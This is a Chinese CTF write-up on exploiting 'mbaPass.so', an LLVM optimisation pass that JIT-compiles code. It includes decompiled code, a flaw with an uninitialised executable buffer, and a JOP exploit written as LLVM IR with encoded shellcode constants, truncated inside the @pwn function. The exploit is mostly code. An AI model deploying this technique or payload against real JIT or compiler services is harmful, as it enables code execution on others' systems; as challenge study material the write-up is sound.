LLVM+JOP

satool 复现

mbaPass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

• 64位，dynamically，Partial RELRO，NX，PIE

这是一个 LLVM 程序

LLVM PASS

LLVM 可以提供可编程语言无关的优化，和针对很多种CPU的代码生成功能：

源代码 ==>[词法分析]==> 词法单元流(token) ==>[语法/语义分析]==> 语法树(AST) ==>[中间代码的生成]==> LLVM IR ==>[中间代码的优化]==> 生成汇编代码 ==>[汇编+链接]==> 目标机器代码

• LLVM IR 就是中间代码

LLVM PASS 就是：遍历一遍 IR，可以同时对它做一些操作

LLVM 的优化和转换工作就是由多个 pass 来一起完成的，类似流水线操作一样，每个 pass 完成特定的优化工作

题目给出的优化信息如下：

## Introduction

A LLVM Pass that can optimize add/sub instructions.

## How to run

opt-12 -load ./mbaPass.so -mba {*.bc/*.ll} -S

## Example

### IR before optimization

```
define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
  %2 = sub nsw i64 %0, 2
  %3 = add nsw i64 %2, 68
  %4 = add nsw i64 %0, 6
  %5 = add nsw i64 %4, -204
  %6 = add nsw i64 %5, %3
  ret i64 %6
}
```

### IR after optimization

```
define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
  %2 = mul i64 %0, 2
  %3 = add i64 %2, -132
  ret i64 %3
}
```

• opt-12：说明版本为 LLVM-12
• 看上去是对 sub add 的合并优化

漏洞分析

先是做了一个判断：

if ( llvm::Function::arg_size(fun) != 1 || (fun = function, llvm::Function::size(function) != 1) )
{
    v3 = llvm::errs(fun);
    llvm::raw_ostream::operator<<(v3, "Function has more than one argument or basicblock\n");
    exit(-1);
}
this->map_pointer = this->map;
mprotect(this->map, 0x1000uLL, 3);            // PROT_EXEC(0x1)+PROT_WRITE(0x2)
anonymous namespace::MBAPass::handle(this, fun);// get asm to this->map
mprotect(this->map, 0x1000uLL, 5);            // PROT_EXEC(0x1)+PROT_READ(0x4)

• 对于一个函数有且仅有一个参数和一个基本块
• 在执行 handle 之前修改了 this->map 的权限，范围为 0x1000 字节

void *__fastcall `anonymous namespace'::MBAPass::MBAPass(pass *this)
{
    llvm::FunctionPass::FunctionPass(this, anonymous namespace::MBAPass::ID);
    this->vtable = &vtable for anonymous namespace::MBAPass + 16;
    this->map = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
    return memset(this->map, 0xC3, 0x1000uLL);
}

• 这个 this->map 是用 mmap 分配的（在 ld 中）
• 其地址可以用 GDB 确定：

0x7ffff7fcf000     0x7ffff7fd0000 r--p     1000 0      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7fd0000     0x7ffff7ff3000 r-xp    23000 1000   /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ff3000     0x7ffff7ffb000 r--p     8000 24000  /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffb000     0x7ffff7ffc000 r-xp     1000 0      [anon_7ffff7ffb] /* map */
0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 2c000  /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 2d000  /usr/lib/x86_64-linux-gnu/ld-2.31.so

进入核心函数 handle：

if ( (llvm::isa<llvm::Constant,llvm::Value *>(&Operand) & 1) != 0 )// 常量引用
{
    this->field_30 = 0;
    Constant = llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(Operand);
    SExtValue = llvm::ConstantInt::getSExtValue(Constant);// 通过符号扩展将底层APInt值转换为int64_t
    anonymous namespace::MBAPass::writeMovImm64(this, 0, SExtValue);
    return `anonymous namespace::MBAPass::writeRet(this);
}
else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&Operand) & 1) != 0 )// 变量引用
{
    this->field_30 = 1;
    anonymous namespace::MBAPass::writeMovImm64(this, 0, 0LL);
    return anonymous namespace::MBAPass::writeRet(this);
}
else                                          // 程序通常会走这里

• 分类型进行处理，经过调试前两条路都不会进入，程序会进入 else 语句

程序的漏洞点在这里：

while ( this->map_pointer < boundary )      // this->map + 0xFF0

• 当写入的代码长度大于 0xFF0 时，程序将退出循环
• 但最后一次写入仍然可以执行，利用 writeMovImm64 可以写入8字节的数据
• 程序并没有对 this->map 进行初始化，导致这8字节数据可以遗留到下次 JIT 中

下面一系列函数都可以往 this->map 写入数据：

`anonymous namespace'::MBAPass::writeMovImm64(int,ulong)	.text	000000000000F780	00000113	00000028		R	.	.	.	.	B	T	.
`anonymous namespace'::MBAPass::writeRet(void)	.text	000000000000F8A0	00000015	00000010		R	.	.	.	.	B	T	.
`anonymous namespace'::MBAPass::writeInc(int)	.text	000000000000F8C0	0000005B	00000020		R	.	.	.	.	B	T	.
`anonymous namespace'::MBAPass::writeOpReg(int)	.text	000000000000F920	00000063	00000020		R	.	.	.	.	B	T	.

writeMovImm64：

pass *__fastcall `anonymous namespace'::MBAPass::writeMovImm64(pass *this, int key, __int64 Value)
{
    pass *result; // rax

    *this->map_pointer = 0x48;
    if ( key )
        this->map_pointer[1] = 0xBB;                // mov rbx
    else
        this->map_pointer[1] = 0xB8;                // mov rax
    result = this;
    *(this->map_pointer + 2) = Value;
    this->map_pointer += 10;
    return result;
}

• Value 的长度为“8”，指令总长为“10”

writeRet：

char *__fastcall `anonymous namespace'::MBAPass::writeRet(pass *this)
{
    char *result; // rax

    result = this->map_pointer;
    *result = 0xC3;                               // ret
    return result;
}

• 指令总长为“1”

writeInc：

pass *__fastcall `anonymous namespace'::MBAPass::writeInc(pass *this, int key)
{
    pass *result; // rax

    *this->map_pointer = 0x48;
    this->map_pointer[1] = 0xFF;
    if ( key == 1 )
        this->map_pointer[2] = 0xC0;                // inc rax 
    else
        this->map_pointer[2] = 0xC8;                // dev rax
    result = this;
    this->map_pointer += 3;
    return result;
}

• 指令总长为“3”

writeOpReg：

pass *__fastcall `anonymous namespace'::MBAPass::writeOpReg(pass *this, int key)
{
    pass *result; // rax

    *this->map_pointer = 0x48;
    if ( key )                                    // 恒定为'1'
        this->map_pointer[1] = 1;                   // add rax,rbx
    else
        this->map_pointer[1] = 0x29;                // sub rax,rbx
    this->map_pointer[2] = 0xD8;
    result = this;
    this->map_pointer += 3;
    return result;
}

• 指令总长为“3”

函数 handle 执行完毕以后会执行 callCode，直接执行刚刚存放在 this->map 中的代码

__int64 __fastcall `anonymous namespace'::MBAPass::callCode(pass *this, __int64 size)
{
  return (this->map)(this, size);
}

入侵思路

要在 handle 中往 this->map 中写入 shellcode，然后在 callCode 中执行

注意：经过调试，发现 this->map 中是倒着写的（程序使用栈来存储数据）

当写入的代码长度大于 0xFF0 时，程序将退出循环，但正在执行的 writeMovImm64 函数仍能写入8字节数据（作为 Value）

如果我们在第一次 JIT 时往这8字节的 Value 中写入 shellcode，第二次 JIT 时又令其代码长度刚好为 0xFF0，就会导致程序执行我们的8字节 shellcode（本质上讲程序的漏洞点在于没有初始化 this->map，类似于 UAF）

shellcode 长度很短，网上找到的 exp 都是往这里写入一个 JMP 跳转，跳转到 Value 中（利用错位去执行 Value 中布置的 shellcode 片段）

在每一个8字节 Value 的开头都写入 JMP（跳转到下一个 Value），后续写入 shellcode 片段，组成 JOP 链

完整 exp 如下：

define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
  %2 = add nsw i64 %0, 3001782416
  %3 = add nsw i64 %2, 20000000000000
  %4 = add nsw i64 %3, 20000000000000
  %5 = add nsw i64 %4, 20000000000000
  %6 = add nsw i64 %5, 20000000000000
  %7 = add nsw i64 %6, 20000000000000
  %8 = add nsw i64 %7, 20000000000000
  %9 = add nsw i64 %8, 20000000000000
  %10 = add nsw i64 %9, 20000000000000
  %11 = add nsw i64 %10, 20000000000000
  %12 = add nsw i64 %11, 20000000000000
  %13 = add nsw i64 %12, 20000000000000
  %14 = add nsw i64 %13, 20000000000000
  %15 = add nsw i64 %14, 20000000000000
  %16 = add nsw i64 %15, 20000000000000
  %17 = add nsw i64 %16, 20000000000000
  %18 = add nsw i64 %17, 20000000000000
  %19 = add nsw i64 %18, 20000000000000
  %20 = add nsw i64 %19, 20000000000000
  %21 = add nsw i64 %20, 20000000000000
  %22 = add nsw i64 %21, 20000000000000
  %23 = add nsw i64 %22, 20000000000000
  %24 = add nsw i64 %23, 20000000000000
  %25 = add nsw i64 %24, 20000000000000
  %26 = add nsw i64 %25, 20000000000000
  %27 = add nsw i64 %26, 20000000000000
  %28 = add nsw i64 %27, 20000000000000
  %29 = add nsw i64 %28, 20000000000000
  %30 = add nsw i64 %29, 20000000000000
  %31 = add nsw i64 %30, 20000000000000
  %32 = add nsw i64 %31, 20000000000000
  %33 = add nsw i64 %32, 20000000000000
  %34 = add nsw i64 %33, 20000000000000
  %35 = add nsw i64 %34, 20000000000000
  %36 = add nsw i64 %35, 20000000000000
  %37 = add nsw i64 %36, 20000000000000
  %38 = add nsw i64 %37, 20000000000000
  %39 = add nsw i64 %38, 20000000000000
  %40 = add nsw i64 %39, 20000000000000
  %41 = add nsw i64 %40, 20000000000000
  %42 = add nsw i64 %41, 20000000000000
  %43 = add nsw i64 %42, 20000000000000
  %44 = add nsw i64 %43, 20000000000000
  %45 = add nsw i64 %44, 20000000000000
  %46 = add nsw i64 %45, 20000000000000
  %47 = add nsw i64 %46, 20000000000000
  %48 = add nsw i64 %47, 20000000000000
  %49 = add nsw i64 %48, 20000000000000
  %50 = add nsw i64 %49, 20000000000000
  %51 = add nsw i64 %50, 20000000000000
  %52 = add nsw i64 %51, 20000000000000
  %53 = add nsw i64 %52, 20000000000000
  %54 = add nsw i64 %53, 20000000000000
  %55 = add nsw i64 %54, 20000000000000
  %56 = add nsw i64 %55, 20000000000000
  %57 = add nsw i64 %56, 20000000000000
  %58 = add nsw i64 %57, 20000000000000
  %59 = add nsw i64 %58, 20000000000000
  %60 = add nsw i64 %59, 20000000000000
  %61 = add nsw i64 %60, 20000000000000
  %62 = add nsw i64 %61, 20000000000000
  %63 = add nsw i64 %62, 20000000000000
  %64 = add nsw i64 %63, 20000000000000
  %65 = add nsw i64 %64, 20000000000000
  %66 = add nsw i64 %65, 20000000000000
  %67 = add nsw i64 %66, 20000000000000
  %68 = add nsw i64 %67, 20000000000000
  %69 = add nsw i64 %68, 20000000000000
  %70 = add nsw i64 %69, 20000000000000
  %71 = add nsw i64 %70, 20000000000000
  %72 = add nsw i64 %71, 20000000000000
  %73 = add nsw i64 %72, 20000000000000
  %74 = add nsw i64 %73, 20000000000000
  %75 = add nsw i64 %74, 20000000000000
  %76 = add nsw i64 %75, 20000000000000
  %77 = add nsw i64 %76, 20000000000000
  %78 = add nsw i64 %77, 20000000000000
  %79 = add nsw i64 %78, 20000000000000
  %80 = add nsw i64 %79, 20000000000000
  %81 = add nsw i64 %80, 20000000000000
  %82 = add nsw i64 %81, 20000000000000
  %83 = add nsw i64 %82, 20000000000000
  %84 = add nsw i64 %83, 20000000000000
  %85 = add nsw i64 %84, 20000000000000
  %86 = add nsw i64 %85, 20000000000000
  %87 = add nsw i64 %86, 20000000000000
  %88 = add nsw i64 %87, 20000000000000
  %89 = add nsw i64 %88, 20000000000000
  %90 = add nsw i64 %89, 20000000000000
  %91 = add nsw i64 %90, 20000000000000
  %92 = add nsw i64 %91, 20000000000000
  %93 = add nsw i64 %92, 20000000000000
  %94 = add nsw i64 %93, 20000000000000
  %95 = add nsw i64 %94, 20000000000000
  %96 = add nsw i64 %95, 20000000000000
  %97 = add nsw i64 %96, 20000000000000
  %98 = add nsw i64 %97, 20000000000000
  %99 = add nsw i64 %98, 20000000000000
  %100 = add nsw i64 %99, 20000000000000
  %101 = add nsw i64 %100, 20000000000000
  %102 = add nsw i64 %101, 20000000000000
  %103 = add nsw i64 %102, 20000000000000
  %104 = add nsw i64 %103, 20000000000000
  %105 = add nsw i64 %104, 20000000000000
  %106 = add nsw i64 %105, 20000000000000
  %107 = add nsw i64 %106, 20000000000000
  %108 = add nsw i64 %107, 20000000000000
  %109 = add nsw i64 %108, 20000000000000
  %110 = add nsw i64 %109, 20000000000000
  %111 = add nsw i64 %110, 20000000000000
  %112 = add nsw i64 %111, 20000000000000
  %113 = add nsw i64 %112, 20000000000000
  %114 = add nsw i64 %113, 20000000000000
  %115 = add nsw i64 %114, 20000000000000
  %116 = add nsw i64 %115, 20000000000000
  %117 = add nsw i64 %116, 20000000000000
  %118 = add nsw i64 %117, 20000000000000
  %119 = add nsw i64 %118, 20000000000000
  %120 = add nsw i64 %119, 20000000000000
  %121 = add nsw i64 %120, 20000000000000
  %122 = add nsw i64 %121, 20000000000000
  %123 = add nsw i64 %122, 20000000000000
  %124 = add nsw i64 %123, 20000000000000
  %125 = add nsw i64 %124, 20000000000000
  %126 = add nsw i64 %125, 20000000000000
  %127 = add nsw i64 %126, 20000000000000
  %128 = add nsw i64 %127, 20000000000000
  %129 = add nsw i64 %128, 20000000000000
  %130 = add nsw i64 %129, 20000000000000
  %131 = add nsw i64 %130, 20000000000000
  %132 = add nsw i64 %131, 20000000000000
  %133 = add nsw i64 %132, 20000000000000
  %134 = add nsw i64 %133, 20000000000000
  %135 = add nsw i64 %134, 20000000000000
  %136 = add nsw i64 %135, 20000000000000
  %137 = add nsw i64 %136, 20000000000000
  %138 = add nsw i64 %137, 20000000000000
  %139 = add nsw i64 %138, 20000000000000
  %140 = add nsw i64 %139, 20000000000000
  %141 = add nsw i64 %140, 20000000000000
  %142 = add nsw i64 %141, 20000000000000
  %143 = add nsw i64 %142, 20000000000000
  %144 = add nsw i64 %143, 20000000000000
  %145 = add nsw i64 %144, 20000000000000
  %146 = add nsw i64 %145, 20000000000000
  %147 = add nsw i64 %146, 20000000000000
  %148 = add nsw i64 %147, 20000000000000
  %149 = add nsw i64 %148, 20000000000000
  %150 = add nsw i64 %149, 20000000000000
  %151 = add nsw i64 %150, 20000000000000
  %152 = add nsw i64 %151, 20000000000000
  %153 = add nsw i64 %152, 20000000000000
  %154 = add nsw i64 %153, 20000000000000
  %155 = add nsw i64 %154, 20000000000000
  %156 = add nsw i64 %155, 20000000000000
  %157 = add nsw i64 %156, 20000000000000
  %158 = add nsw i64 %157, 20000000000000
  %159 = add nsw i64 %158, 20000000000000
  %160 = add nsw i64 %159, 20000000000000
  %161 = add nsw i64 %160, 20000000000000
  %162 = add nsw i64 %161, 20000000000000
  %163 = add nsw i64 %162, 20000000000000
  %164 = add nsw i64 %163, 20000000000000
  %165 = add nsw i64 %164, 20000000000000
  %166 = add nsw i64 %165, 20000000000000
  %167 = add nsw i64 %166, 20000000000000
  %168 = add nsw i64 %167, 20000000000000
  %169 = add nsw i64 %168, 20000000000000
  %170 = add nsw i64 %169, 20000000000000
  %171 = add nsw i64 %170, 20000000000000
  %172 = add nsw i64 %171, 20000000000000
  %173 = add nsw i64 %172, 20000000000000
  %174 = add nsw i64 %173, 20000000000000
  %175 = add nsw i64 %174, 20000000000000
  %176 = add nsw i64 %175, 20000000000000
  %177 = add nsw i64 %176, 20000000000000
  %178 = add nsw i64 %177, 20000000000000
  %179 = add nsw i64 %178, 20000000000000
  %180 = add nsw i64 %179, 20000000000000
  %181 = add nsw i64 %180, 20000000000000
  %182 = add nsw i64 %181, 20000000000000
  %183 = add nsw i64 %182, 20000000000000
  %184 = add nsw i64 %183, 20000000000000
  %185 = add nsw i64 %184, 20000000000000
  %186 = add nsw i64 %185, 20000000000000
  %187 = add nsw i64 %186, 20000000000000
  %188 = add nsw i64 %187, 20000000000000
  %189 = add nsw i64 %188, 20000000000000
  %190 = add nsw i64 %189, 20000000000000
  %191 = add nsw i64 %190, 20000000000000
  %192 = add nsw i64 %191, 20000000000000
  %193 = add nsw i64 %192, 20000000000000
  %194 = add nsw i64 %193, 20000000000000
  %195 = add nsw i64 %194, 20000000000000
  %196 = add nsw i64 %195, 20000000000000
  %197 = add nsw i64 %196, 20000000000000
  %198 = add nsw i64 %197, 20000000000000
  %199 = add nsw i64 %198, 20000000000000
  %200 = add nsw i64 %199, 20000000000000
  %201 = add nsw i64 %200, 20000000000000
  %202 = add nsw i64 %201, 20000000000000
  %203 = add nsw i64 %202, 20000000000000
  %204 = add nsw i64 %203, 20000000000000
  %205 = add nsw i64 %204, 20000000000000
  %206 = add nsw i64 %205, 20000000000000
  %207 = add nsw i64 %206, 20000000000000
  %208 = add nsw i64 %207, 20000000000000
  %209 = add nsw i64 %208, 20000000000000
  %210 = add nsw i64 %209, 20000000000000
  %211 = add nsw i64 %210, 20000000000000
  %212 = add nsw i64 %211, 20000000000000
  %213 = add nsw i64 %212, 20000000000000
  %214 = add nsw i64 %213, 20000000000000
  %215 = add nsw i64 %214, 20000000000000
  %216 = add nsw i64 %215, 20000000000000
  %217 = add nsw i64 %216, 20000000000000
  %218 = add nsw i64 %217, 20000000000000
  %219 = add nsw i64 %218, 20000000000000
  %220 = add nsw i64 %219, 20000000000000
  %221 = add nsw i64 %220, 20000000000000
  %222 = add nsw i64 %221, 20000000000000
  %223 = add nsw i64 %222, 20000000000000
  %224 = add nsw i64 %223, 20000000000000
  %225 = add nsw i64 %224, 20000000000000
  %226 = add nsw i64 %225, 20000000000000
  %227 = add nsw i64 %226, 20000000000000
  %228 = add nsw i64 %227, 20000000000000
  %229 = add nsw i64 %228, 20000000000000
  %230 = add nsw i64 %229, 20000000000000
  %231 = add nsw i64 %230, 20000000000000
  %232 = add nsw i64 %231, 20000000000000
  %233 = add nsw i64 %232, 20000000000000
  %234 = add nsw i64 %233, 20000000000000
  %235 = add nsw i64 %234, 20000000000000
  %236 = add nsw i64 %235, 20000000000000
  %237 = add nsw i64 %236, 20000000000000
  %238 = add nsw i64 %237, 20000000000000
  %239 = add nsw i64 %238, 20000000000000
  %240 = add nsw i64 %239, 20000000000000
  %241 = add nsw i64 %240, 20000000000000
  %242 = add nsw i64 %241, 20000000000000
  %243 = add nsw i64 %242, 20000000000000
  %244 = add nsw i64 %243, 20000000000000
  %245 = add nsw i64 %244, 20000000000000
  %246 = add nsw i64 %245, 20000000000000
  %247 = add nsw i64 %246, 20000000000000
  %248 = add nsw i64 %247, 20000000000000
  %249 = add nsw i64 %248, 20000000000000
  %250 = add nsw i64 %249, 20000000000000
  %251 = add nsw i64 %250, 20000000000000
  %252 = add nsw i64 %251, 20000000000000
  %253 = add nsw i64 %252, 20000000000000
  %254 = add nsw i64 %253, 20000000000000
  %255 = add nsw i64 %254, 20000000000000
  %256 = add nsw i64 %255, 20000000000000
  %257 = add nsw i64 %256, 20000000000000
  %258 = add nsw i64 %257, 20000000000000
  %259 = add nsw i64 %258, 20000000000000
  %260 = add nsw i64 %259, 20000000000000
  %261 = add nsw i64 %260, 20000000000000
  %262 = add nsw i64 %261, 20000000000000
  %263 = add nsw i64 %262, 20000000000000
  %264 = add nsw i64 %263, 20000000000000
  %265 = add nsw i64 %264, 20000000000000
  %266 = add nsw i64 %265, 20000000000000
  %267 = add nsw i64 %266, 20000000000000
  %268 = add nsw i64 %267, 20000000000000
  %269 = add nsw i64 %268, 20000000000000
  %270 = add nsw i64 %269, 20000000000000
  %271 = add nsw i64 %270, 20000000000000
  %272 = add nsw i64 %271, 20000000000000
  %273 = add nsw i64 %272, 20000000000000
  %274 = add nsw i64 %273, 20000000000000
  %275 = add nsw i64 %274, 20000000000000
  %276 = add nsw i64 %275, 20000000000000
  %277 = add nsw i64 %276, 20000000000000
  %278 = add nsw i64 %277, 20000000000000
  %279 = add nsw i64 %278, 20000000000000
  %280 = add nsw i64 %279, 20000000000000
  %281 = add nsw i64 %280, 20000000000000
  %282 = add nsw i64 %281, 20000000000000
  %283 = add nsw i64 %282, 20000000000000
  %284 = add nsw i64 %283, 20000000000000
  %285 = add nsw i64 %284, 20000000000000
  %286 = add nsw i64 %285, 20000000000000
  %287 = add nsw i64 %286, 20000000000000
  %288 = add nsw i64 %287, 20000000000000
  %289 = add nsw i64 %288, 20000000000000
  %290 = add nsw i64 %289, 20000000000000
  %291 = add nsw i64 %290, 20000000000000
  %292 = add nsw i64 %291, 20000000000000
  %293 = add nsw i64 %292, 20000000000000
  %294 = add nsw i64 %293, 20000000000000
  %295 = add nsw i64 %294, 20000000000000
  %296 = add nsw i64 %295, 20000000000000
  %297 = add nsw i64 %296, 20000000000000
  %298 = add nsw i64 %297, 20000000000000
  %299 = add nsw i64 %298, 20000000000000
  %300 = add nsw i64 %299, 20000000000000
  %301 = add nsw i64 %300, 20000000000000
  %302 = add nsw i64 %301, 20000000000000
  %303 = add nsw i64 %302, 20000000000000
  %304 = add nsw i64 %303, 20000000000000
  %305 = add nsw i64 %304, 20000000000000
  %306 = add nsw i64 %305, 20000000000000
  %307 = add nsw i64 %306, 20000000000000
  %308 = add nsw i64 %307, 20000000000000
  %309 = add nsw i64 %308, 20000000000000
  %310 = add nsw i64 %309, 20000000000000
  %311 = add nsw i64 %310, 20000000000000
  %312 = add nsw i64 %311, 20000000000000
  %313 = add nsw i64 %312, 20000000000000
  %314 = add nsw i64 %313, 20000000000000
  %315 = add nsw i64 %314, 1
  %316 = add nsw i64 %315, 1
  %317 = add nsw i64 %316, 1
  %318 = add nsw i64 %317, 1
  ret i64 %318
}

define dso_local i64 @pwn(i64 %0) local_unnamed_addr #0 {
  %2 = add nsw i64 %0, 21732277098
  %3 = add nsw i64 %2, 426533919260756112
  %4 = add nsw i64 %3, 426712264860536976
  %5 = add nsw i64 %4, 426555988614513992
  %6 = add nsw i64 %5, 426470739404150928
  %7 = add nsw i64 %6, 426435038325729424
  %8 = add nsw i64 %7, 20000000000000
  %9 = add nsw i64 %8, 20000000000000
  %10 = add nsw i64 %9, 20000000000000
  %11 = add nsw i64 %10, 20000000000000
  %12 = add nsw i64 %11, 20000000000000
  %13 = add nsw i64 %12, 20000000000000
  %14 = add nsw i64 %13, 20000000000000
  %15 = add nsw i64 %14, 20000000000000
  %16 = add nsw i64 %15, 20000000000000
  %17 = add nsw i64 %16, 20000000000000
  %18 = add nsw i64 %17, 20000000000000
  %19 = add nsw i64 %18, 20000000000000
  %20 = add nsw i64 %19, 20000000000000
  %21 = add nsw i64 %20, 20000000000000
  %22 = add nsw i64 %21, 20000000000000
  %23 = add nsw i64 %22, 20000000000000
  %24 = add nsw i64 %23, 20000000000000
  %25 = add nsw i64 %24, 20000000000000
  %26 = add nsw i64 %25, 20000000000000
  %27 = add nsw i64 %26, 20000000000000
  %28 = add nsw i64 %27, 20000000000000
  %29 = add nsw i64 %28, 20000000000000
  %30 = add nsw i64 %29, 20000000000000
  %31 = add nsw i64 %30, 20000000000000
  %32 = add nsw i64 %31, 20000000000000
  %33 = add nsw i64 %32, 20000000000000
  %34 = add nsw i64 %33, 20000000000000
  %35 = add nsw i64 %34, 20000000000000
  %36 = add nsw i64 %35, 20000000000000
  %37 = add nsw i64 %36, 20000000000000
  %38 = add nsw i64 %37, 20000000000000
  %39 = add nsw i64 %38, 20000000000000
  %40 = add nsw i64 %39, 20000000000000
  %41 = add nsw i64 %40, 20000000000000
  %42 = add nsw i64 %41, 20000000000000
  %43 = add nsw i64 %42, 20000000000000
  %44 = add nsw i64 %43, 20000000000000
  %45 = add nsw i64 %44, 20000000000000
  %46 = add nsw i64 %45, 20000000000000
  %47 = add nsw i64 %46, 20000000000000
  %48 = add nsw i64 %47, 20000000000000
  %49 = add nsw i64 %48, 20000000000000
  %50 = add nsw i64 %49, 20000000000000
  %51 = add nsw i64 %50, 20000000000000
  %52 = add nsw i64 %51, 20000000000000
  %53 = add nsw i64 %52, 20000000000000
  %54 = add nsw i64 %53, 20000000000000
  %55 = add nsw i64 %54, 20000000000000
  %56 = add nsw i64 %55, 20000000000000
  %57 = add nsw i64 %56, 20000000000000
  %58 = add nsw i64 %57, 20000000000000
  %59 = add nsw i64 %58, 20000000000000
  %60 = add nsw i64 %59, 20000000000000
  %61 = add nsw i64 %60, 20000000000000
  %62 = add nsw i64 %61, 20000000000000
  %63 = add nsw i64 %62, 20000000000000
  %64 = add nsw i64 %63, 20000000000000
  %65 = add nsw i64 %64, 20000000000000
  %66 = add nsw i64 %65, 20000000000000
  %67 = add nsw i64 %66, 20000000000000
  %68 = add nsw i64 %67, 20000000000000
  %69 = add nsw i64 %68, 20000000000000
  %70 = add nsw i64 %69, 20000000000000
  %71 = add nsw i64 %70, 20000000000000
  %72 = add nsw i64 %71, 20000000000000
  %73 = add nsw i64 %72, 20000000000000
  %74 = add nsw i64 %73, 20000000000000
  %75 = add nsw i64 %74, 20000000000000
  %76 = add nsw i64 %75, 20000000000000
  %77 = add nsw i64 %76, 20000000000000
  %78 = add nsw i64 %77, 20000000000000
  %79 = add nsw i64 %78, 20000000000000
  %80 = add nsw i64 %79, 20000000000000
  %81 = add nsw i64 %80, 20000000000000
  %82 = add nsw i64 %81, 20000000000000
  %83 = add nsw i64 %82, 20000000000000
  %84 = add nsw i64 %83, 20000000000000
  %85 = add nsw i64 %84, 20000000000000
  %86 = add nsw i64 %85, 20000000000000
  %87 = add nsw i64 %86, 20000000000000
  %88 = add nsw i64 %87, 20000000000000
  %89 = add nsw i64 %88, 20000000000000
  %90 = add nsw i64 %89, 20000000000000
  %91 = add nsw i64 %90, 20000000000000
  %92 = add nsw i64 %91, 20000000000000
  %93 = add nsw i64 %92, 20000000000000
  %94 = add nsw i64 %93, 20000000000000
  %95 = add nsw i64 %94, 20000000000000
  %96 = add nsw i64 %95, 20000000000000
  %97 = add nsw i64 %96, 20000000000000
  %98 = add nsw i64 %97, 20000000000000
  %99 = add nsw i64 %98, 20000000000000
  %100 = add nsw i64 %99, 20000000000000
  %101 = add nsw i64 %100, 20000000000000
  %102 = add nsw i64 %101, 20000000000000
  %103 = add nsw i64 %102, 20000000000000
  %104 = add nsw i64 %103, 20000000000000
  %105 = add nsw i64 %104, 20000000000000
  %106 = add nsw i64 %105, 20000000000000
  %107 = add nsw i64 %106, 20000000000000
  %108 = add nsw i64 %107, 20000000000000
  %109 = add nsw i64 %108, 20000000000000
  %110 = add nsw i64 %109, 20000000000000
  %111 = add nsw i64 %110, 20000000000000
  %112 = add nsw i64 %111, 20000000000000
  %113 = add nsw i64 %112, 20000000000000
  %114 = add nsw i64 %113, 20000000000000
  %115 = add nsw i64 %114, 20000000000000
  %116 = add nsw i64 %115, 20000000000000
  %117 = add nsw i64 %116, 20000000000000
  %118 = add nsw i64 %117, 20000000000000
  %119 = add nsw i64 %118, 20000000000000
  %120 = add nsw i64 %119, 20000000000000
  %121 = add nsw i64 %120, 20000000000000
  %122 = add nsw i64 %121, 20000000000000
  %123 = add nsw i64 %122, 20000000000000
  %124 = add nsw i64 %123, 20000000000000
  %125 = add nsw i64 %124, 20000000000000
  %126 = add nsw i64 %125, 20000000000000
  %127 = add nsw i64 %126, 20000000000000
  %128 = add nsw i64 %127, 20000000000000
  %129 = add nsw i64 %128, 20000000000000
  %130 = add nsw i64 %129, 20000000000000
  %131 = add nsw i64 %130, 20000000000000
  %132 = add nsw i64 %131, 20000000000000
  %133 = add nsw i64 %132, 20000000000000
  %134 = add nsw i64 %133, 20000000000000
  %135 = add nsw i64 %134, 20000000000000
  %136 = add nsw i64 %135, 20000000000000
  %137 = add nsw i64 %136, 20000000000000
  %138 = add nsw i64 %137, 20000000000000
  %139 = add nsw i64 %138, 20000000000000
  %140 = add nsw i64 %139, 20000000000000
  %141 = add nsw i64 %140, 20000000000000
  %142 = add nsw i64 %141, 20000000000000
  %143 = add nsw i64 %142, 20000000000000
  %144 = add nsw i64 %143, 20000000000000
  %145 = add nsw i64 %144, 20000000000000
  %146 = add nsw i64 %145, 20000000000000
  %147 = add nsw i64 %146, 20000000000000
  %148 = add nsw i64 %147, 20000000000000
  %149 = add nsw i64 %148, 20000000000000
  %150 = add nsw i64 %149, 20000000000000
  %151 = add nsw i64 %150, 20000000000000
  %152 = add nsw i64 %151, 20000000000000
  %153 = add nsw i64 %152, 20000000000000
  %154 = add nsw i64 %153, 20000000000000
  %155 = add nsw i64 %154, 20000000000000
  %156 = add nsw i64 %155, 20000000000000
  %157 = add nsw i64 %156, 20000000000000
  %158 = add nsw i64 %157, 20000000000000
  %159 = add nsw i64 %158, 20000000000000
  %160 = add nsw i64 %159, 20000000000000
  %161 = add nsw i64 %160, 20000000000000
  %162 = add nsw i64 %161, 20000000000000
  %163 = add nsw i64 %162, 20000000000000
  %164 = add nsw i64 %163, 20000000000000
  %165 = add nsw i64 %164, 20000000000000
  %166 = add nsw i64 %165, 20000000000000
  %167 = add nsw i64 %166, 20000000000000
  %168 = add nsw i64 %167, 20000000000000
  %169 = add nsw i64 %168, 20000000000000
  %170 = add nsw i64 %169, 20000000000000
  %171 = add nsw i64 %170, 20000000000000
  %172 = add nsw i64 %171, 20000000000000
  %173 = add nsw i64 %172, 20000000000000
  %174 = add nsw i64 %173, 20000000000000
  %175 = add nsw i64 %174, 20000000000000
  %176 = add nsw i64 %175, 20000000000000
  %177 = add nsw i64 %176, 20000000000000
  %178 = add nsw i64 %177, 20000000000000
  %179 = add nsw i64 %178, 20000000000000
  %180 = add nsw i64 %179, 20000000000000
  %181 = add nsw i64 %180, 20000000000000
  %182 = add nsw i64 %181, 20000000000000
  %183 = add nsw i64 %182, 20000000000000
  %184 = add nsw i64 %183, 20000000000000
  %185 = add nsw i64 %184, 20000000000000
  %186 = add nsw i64 %185, 20000000000000
  %187 = add nsw i64 %186, 20000000000000
  %188 = add nsw i64 %187, 20000000000000
  %189 = add nsw i64 %188, 20000000000000
  %190 = add nsw i64 %189, 20000000000000
  %191 = add nsw i64 %190, 20000000000000
  %192 = add nsw i64 %191, 20000000000000
  %193 = add nsw i64 %192, 20000000000000
  %194 = add nsw i64 %193, 20000000000000
